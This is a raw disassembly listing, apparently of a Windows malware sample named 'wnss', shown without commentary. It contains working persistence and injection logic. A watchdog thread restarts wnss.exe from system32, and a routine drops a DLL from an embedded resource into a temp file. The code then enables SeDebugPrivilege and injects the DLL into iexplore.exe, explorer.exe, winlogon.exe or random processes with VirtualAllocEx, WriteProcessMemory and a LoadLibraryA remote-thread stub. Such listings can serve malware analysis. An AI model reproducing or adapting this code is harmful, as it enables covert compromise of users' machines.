		call	dword_411E74
		mov	ebx, eax
		call	sub_446483
		mov	eax, ebx


loc_447EED:				; CODE XREF: sub_447EA9+Cj
		pop	ebx
		retn
sub_447EA9	endp

; ---------------------------------------------------------------------------
		call	sub_447EA9
		call	sub_449D81
		retn
; ---------------------------------------------------------------------------
		call	sub_447236
		mov	dword_411040, eax
		call	sub_449D81
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447F0A	proc near		; CODE XREF: DMN1:00448027p
					; sub_448AD1+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset asc_40E5AE ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_447F7A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx


loc_447F7A:				; CODE XREF: sub_447F0A+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_447FBF
		push	[ebp+var_850]
		call	dword_411CF8
		push	[ebp+var_854]
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_447FBF:				; CODE XREF: sub_447F0A+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_447F0A	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_4
		pop	ecx


loc_447FD0:				; CODE XREF: DMN1:loc_448058j
		xor	ebx, ebx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44804D
		call	sub_447098
		test	eax, eax
		jz	short loc_44800C
		call	sub_447491
		test	eax, eax
		jnz	short loc_447FFB
		call	sub_447567


loc_447FFB:				; CODE XREF: DMN1:00447FF4j
		call	sub_4471E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_448019
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_448019
; ---------------------------------------------------------------------------


loc_44800C:				; CODE XREF: DMN1:00447FEBj
		call	sub_44730A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_448019
		xor	ebx, ebx
		inc	ebx


loc_448019:				; CODE XREF: DMN1:00448005j
					; DMN1:0044800Aj ...
		test	ebx, ebx
		jz	short loc_448040
		call	sub_446483
		push	offset asc_40E58E ; "**"
		call	sub_447F0A
		pop	ecx
		test	eax, eax
		jz	short loc_448039
		push	0
		call	sub_449DC1
		pop	ecx


loc_448039:				; CODE XREF: DMN1:0044802Fj
		call	sub_44642F
		jmp	short loc_448058
; ---------------------------------------------------------------------------


loc_448040:				; CODE XREF: DMN1:0044801Bj
		push	1F4h
		call	dword_411D00
		jmp	short loc_448058
; ---------------------------------------------------------------------------


loc_44804D:				; CODE XREF: DMN1:00447FE2j
		push	2710h
		call	dword_411D00


loc_448058:				; CODE XREF: DMN1:0044803Ej
					; DMN1:0044804Bj
		jmp	loc_447FD0
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		mov	esi, eax
		push	dword_41296C
		call	dword_411D50


loc_448077:				; CODE XREF: DMN1:004480ABj
		mov	byte ptr [ebp-1], 0
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_4439FD
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4480AD
		cmp	byte ptr [ebp-1], 2Ah
		jnz	short loc_4480AD
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_443AA8
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4480AD
		jmp	short loc_448077
; ---------------------------------------------------------------------------


loc_4480AD:				; CODE XREF: DMN1:0044808Ej
					; DMN1:00448094j ...
		push	esi
		call	sub_4437E3
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41296C
		call	dword_411D44
		call	sub_449D81
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_44367A
		mov	dword_41104C, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_4
		pop	ecx
		push	0BB8h
		push	100007Fh
		push	dword_41104C
		call	sub_4438D8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_448176
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41104C
		call	sub_443928
		pop	ecx
		test	eax, eax
		jz	short loc_448176
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41104C
		call	sub_443942
		pop	ecx
		mov	[ebp-4], eax
		test	eax, eax
		jz	short loc_448176
		mov	eax, [ebp-4]
		push	eax
		push	0
		push	offset sub_405D3F
		call	sub_449CF1
		add	esp, 0Ch
		mov	[ebp-8], eax
		push	eax
		call	dword_411CF8
		push	dword_41104C
		call	sub_4437E3
		pop	ecx
		and	dword_41104C, 0


loc_448176:				; CODE XREF: DMN1:0044810Bj
					; DMN1:00448126j ...
		cmp	dword_41104C, 0
		jz	short loc_44818B
		push	dword_41104C
		call	sub_4437E3
		pop	ecx


loc_44818B:				; CODE XREF: DMN1:0044817Dj
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_4
		pop	ecx
		call	sub_449D81
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44819F	proc near		; CODE XREF: sub_44875D+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_4481B1
; ---------------------------------------------------------------------------


loc_4481A9:				; CODE XREF: sub_44819F+14j
		call	dword_411CC4
		mov	esi, eax


loc_4481B1:				; CODE XREF: sub_44819F+8j
		test	esi, esi
		jz	short loc_4481A9
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_44819F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4481D3	proc near		; CODE XREF: sub_4482DE+9Ep
					; sub_4482DE+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411054, 0
		jz	short loc_4481FB
		push	dword_411054
		call	dword_411CF8
		and	dword_411054, 0


loc_4481FB:				; CODE XREF: sub_4481D3+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D54
		mov	esi, eax
		test	eax, eax
		jz	loc_4482D7
		push	esi
		push	0
		call	dword_411D58
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D5C
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_4482D7
		push	[ebp+var_8]
		call	dword_411D60
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_4482D7
		push	80h
		push	ebx
		call	dword_411D28
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_4496E1
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_448287
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4482D7
; ---------------------------------------------------------------------------


loc_448287:				; CODE XREF: sub_4481D3+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_449B41
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_449941
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_4
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D28
		cmp	[ebp+var_10], 1
		jz	short loc_4482D4
		xor	eax, eax
		jmp	short loc_4482D7
; ---------------------------------------------------------------------------


loc_4482D4:				; CODE XREF: sub_4481D3+FBj
		xor	eax, eax
		inc	eax


loc_4482D7:				; CODE XREF: sub_4481D3+3Bj
					; sub_4481D3+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4481D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4482DE	proc near		; CODE XREF: DMN1:loc_448931p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_449B11
		cmp	dword_411050, 0
		jz	short loc_448334
		push	offset aR	; "r"
		push	offset dword_412970
		call	sub_4496E1
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_448334
		push	offset dword_412970
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_449941
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_44841E
; ---------------------------------------------------------------------------


loc_448334:				; CODE XREF: sub_4482DE+14j
					; sub_4482DE+2Fj
		push	offset dword_412970
		push	0FFFh
		call	dword_411D1C
		push	offset aWnss_	; "wnss_"
		push	offset dword_412970
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412970
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset dword_412970
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_4481D3
		pop	ecx
		test	eax, eax
		jz	short loc_4483A6
		push	offset dword_412970
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_44841E
; ---------------------------------------------------------------------------


loc_4483A6:				; CODE XREF: sub_4482DE+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D1C
		push	offset dword_412970
		push	0
		push	offset aWnss_	; "wnss_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D20
		push	offset dword_412970
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_4481D3
		pop	ecx
		test	eax, eax
		jz	short loc_448411
		push	offset dword_412970
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_44841E
; ---------------------------------------------------------------------------


loc_448411:				; CODE XREF: sub_4482DE+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_44841E:				; CODE XREF: sub_4482DE+51j
					; sub_4482DE+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4482DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448422	proc near		; CODE XREF: sub_4485C6+6p
					; sub_44868E+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E78
		test	eax, eax
		jz	short loc_448498
		call	dword_411D64
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E7C
		test	eax, eax
		jz	short loc_448498
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E80
		call	dword_411CE8
		test	eax, eax
		jz	short loc_448495
		xor	eax, eax
		jmp	short loc_448498
; ---------------------------------------------------------------------------


loc_448495:				; CODE XREF: sub_448422+6Dj
		xor	eax, eax
		inc	eax


loc_448498:				; CODE XREF: sub_448422+19j
					; sub_448422+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_448422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44849C	proc near		; CODE XREF: sub_4485C6+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D68
		mov	esi, eax
		test	eax, eax
		jz	loc_4485BF
		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_4
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D6C
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_449A51
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D74
		test	eax, eax
		jz	short loc_4485BF
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_4
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D78


loc_4485BF:				; CODE XREF: sub_44849C+2Bj
					; sub_44849C+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44849C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4485C6	proc near		; CODE XREF: sub_44868E+6Fp
					; sub_44875D+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_448422
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D7C
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_4
		pop	ecx
		test	ebx, ebx
		jz	loc_448686
		push	[ebp+arg_4]
		push	ebx
		call	sub_44849C
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_44867F
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D80
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CF8
		push	ebx
		call	dword_411CF8
		cmp	[ebp+var_4], 20h
		jnb	short loc_44864F
		xor	eax, eax
		jmp	short loc_448688
; ---------------------------------------------------------------------------


loc_44864F:				; CODE XREF: sub_4485C6+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_44867A
		push	dword_411054
		call	dword_411CF8
		and	dword_411054, 0


loc_44867A:				; CODE XREF: sub_4485C6+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_448688
; ---------------------------------------------------------------------------


loc_44867F:				; CODE XREF: sub_4485C6+3Fj
		push	ebx
		call	dword_411CF8


loc_448686:				; CODE XREF: sub_4485C6+2Aj
		xor	eax, eax


loc_448688:				; CODE XREF: sub_4485C6+87j
					; sub_4485C6+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4485C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44868E	proc near		; CODE XREF: DMN1:0044894Bp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_448422
		push	0
		push	2
		call	sub_44907D
		mov	edi, eax
		test	eax, eax
		jz	loc_448756
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_449083


loc_4486CF:				; CODE XREF: sub_44868E+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D38
		test	eax, eax
		jnz	short loc_44873C
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_4
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_4485C6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_448727
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CF8
		xor	eax, eax
		inc	eax
		jmp	short loc_448756
; ---------------------------------------------------------------------------


loc_448727:				; CODE XREF: sub_44868E+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_4
		add	esp, 0Ch


loc_44873C:				; CODE XREF: sub_44868E+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_449089
		test	eax, eax
		jnz	short loc_4486CF
		push	edi
		call	dword_411CF8
		xor	eax, eax


loc_448756:				; CODE XREF: sub_44868E+24j
					; sub_44868E+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44868E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44875D	proc near		; CODE XREF: DMN1:00448960p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_411058
		call	sub_44819F
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_448422
		jmp	short loc_4487F5
; ---------------------------------------------------------------------------


loc_448789:				; CODE XREF: sub_44875D+9Aj
		push	0
		push	2
		call	sub_44907D
		mov	edi, eax
		test	eax, eax
		jz	short loc_4487FB
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_449083


loc_4487AF:				; CODE XREF: sub_44875D+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_4487DD
		push	ebx
		push	[ebp+var_120]
		call	sub_4485C6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4487D2
		push	edi
		call	dword_411CF8
		xor	eax, eax
		inc	eax
		jmp	short loc_4487FB
; ---------------------------------------------------------------------------


loc_4487D2:				; CODE XREF: sub_44875D+67j
		push	edi
		call	dword_411CF8
		xor	eax, eax
		jmp	short loc_4487FB
; ---------------------------------------------------------------------------


loc_4487DD:				; CODE XREF: sub_44875D+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_449089
		test	eax, eax
		jnz	short loc_4487AF
		push	edi
		call	dword_411CF8


loc_4487F5:				; CODE XREF: sub_44875D+2Aj
		test	esi, esi
		jnz	short loc_448789
		xor	eax, eax


loc_4487FB:				; CODE XREF: sub_44875D+39j
					; sub_44875D+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44875D	endp


; =============== S U B	R O U T	I N E =======================================



sub_448802	proc near		; CODE XREF: DMN1:004488AAp
					; DMN1:0044897Ap
		push	ebx
		push	dword_41296C
		call	dword_411D50
		push	0
		push	0
		push	offset sub_405DB5
		call	sub_449CF1
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D34
		test	eax, eax
		jz	short loc_448857
		push	dword_41104C
		call	sub_4437E3
		pop	ecx
		mov	dword_41104C, 1
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		xor	eax, eax
		jmp	short loc_448863
; ---------------------------------------------------------------------------


loc_448857:				; CODE XREF: sub_448802+30j
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_448863:				; CODE XREF: sub_448802+53j
		pop	ebx
		retn
sub_448802	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_445A17
		test	eax, eax
		jnz	loc_448A4B
		call	sub_445979
		test	eax, eax
		jnz	loc_448A4B
		call	sub_448422
		push	dword_41296C
		call	dword_411D50
		push	3E8h
		push	dword_41296C
		call	dword_411D34
		call	sub_448802
		test	eax, eax
		jz	short loc_4488E3
		push	3E8h
		call	dword_411D00
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_4
		pop	ecx
		push	0FFFFFFFFh
		push	dword_41296C
		call	dword_411D34
		push	dword_41296C
		call	dword_411D50


loc_4488E3:				; CODE XREF: DMN1:004488B1j
		and	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 4
		mov	esi, [ebp-0Ch]


loc_4488F1:				; CODE XREF: DMN1:00448A1Fj
		push	dword_41296C
		call	dword_411D50
		cmp	esi, 2
		ja	short loc_44892D
		test	esi, esi
		jz	short loc_448912
		cmp	esi, 1
		jz	short loc_44891B
		cmp	esi, 2
		jz	short loc_448924
		jmp	short loc_448931
; ---------------------------------------------------------------------------


loc_448912:				; CODE XREF: DMN1:00448904j
		mov	dword ptr [ebp-4], offset aIexplore_exe	; "iexplore.exe"
		jmp	short loc_448931
; ---------------------------------------------------------------------------


loc_44891B:				; CODE XREF: DMN1:00448909j
		mov	dword ptr [ebp-4], offset aExplorer_exe	; "explorer.exe"
		jmp	short loc_448931
; ---------------------------------------------------------------------------


loc_448924:				; CODE XREF: DMN1:0044890Ej
		mov	dword ptr [ebp-4], offset aWinlogon_exe	; "winlogon.exe"
		jmp	short loc_448931
; ---------------------------------------------------------------------------


loc_44892D:				; CODE XREF: DMN1:00448900j
		and	dword ptr [ebp-4], 0


loc_448931:				; CODE XREF: DMN1:00448910j
					; DMN1:00448919j ...
		call	sub_4482DE
		test	eax, eax
		jz	loc_448A25
		cmp	esi, 2
		ja	short loc_448956
		push	offset dword_412970
		push	dword ptr [ebp-4]
		call	sub_44868E
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_448971
; ---------------------------------------------------------------------------


loc_448956:				; CODE XREF: DMN1:00448941j
		mov	edi, 64h


loc_44895B:				; CODE XREF: DMN1:0044896Fj
		push	offset dword_412970
		call	sub_44875D
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_448971
		dec	edi
		test	edi, edi
		jg	short loc_44895B


loc_448971:				; CODE XREF: DMN1:00448954j
					; DMN1:0044896Aj
		inc	esi
		test	ebx, ebx
		jz	loc_4489F8
		call	sub_448802
		test	eax, eax
		jz	short loc_4489F8
		push	3E8h
		call	dword_411D00
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_4489A8
; ---------------------------------------------------------------------------


loc_44899B:				; CODE XREF: DMN1:004489BEj
		call	sub_445979
		test	eax, eax
		jnz	loc_448A4B


loc_4489A8:				; CODE XREF: DMN1:00448999j
		push	2BCh
		push	dword_41296C
		call	dword_411D34
		cmp	eax, 102h
		jz	short loc_44899B
		push	dword_41296C
		call	dword_411D50
		mov	esi, [ebp-0Ch]
		call	sub_445979
		test	eax, eax
		jz	short loc_4489ED
		push	offset aDying	; "dying\n"
		call	nullsub_4
		pop	ecx
		push	1
		call	sub_449DC1
		pop	ecx
		jmp	short loc_448A4B
; ---------------------------------------------------------------------------


loc_4489ED:				; CODE XREF: DMN1:004489D6j
		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_4
		pop	ecx


loc_4489F8:				; CODE XREF: DMN1:00448974j
					; DMN1:00448981j
		call	sub_445A17
		test	eax, eax
		jnz	short loc_448A4B
		cmp	dword_411050, 0
		jz	short loc_448A1C
		push	offset dword_412970
		call	sub_449E71
		pop	ecx
		and	dword_411050, 0


loc_448A1C:				; CODE XREF: DMN1:00448A08j
		cmp	esi, [ebp-8]
		jle	loc_4488F1


loc_448A25:				; CODE XREF: DMN1:00448938j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_4
		pop	ecx
		cmp	dword_411050, 0
		jz	short loc_448A4B
		push	offset dword_412970
		call	sub_449E71
		pop	ecx
		and	dword_411050, 0


loc_448A4B:				; CODE XREF: DMN1:00448875j
					; DMN1:00448882j ...
		call	sub_449D81
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D40
		mov	dword_41296C, eax
		push	0
		push	0
		push	offset sub_406544
		call	sub_449CF1
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D34
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		push	0
		push	0
		push	offset sub_40356A
		call	sub_449CF1
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	1F4h
		call	dword_411D00
		push	0
		push	0
		push	offset sub_404967
		call	sub_449CF1
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448AD1	proc near		; CODE XREF: sub_449069+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_412958, offset aWnss ; "wnss"
		call	sub_44335D
		call	sub_443486
		call	sub_4433B8
		push	offset dword_413970
		call	dword_411CC8
		call	sub_4442AF
		mov	dword_412934, eax
		call	dword_411D90
		push	eax
		call	sub_44354B
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_448C0F
		push	offset aUpdate_0 ; "*update"
		push	dword_4128A8
		call	dword_411D38
		test	eax, eax
		jnz	loc_448C0F
		call	sub_445925
		mov	[ebp+var_8], eax
		call	sub_446483
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
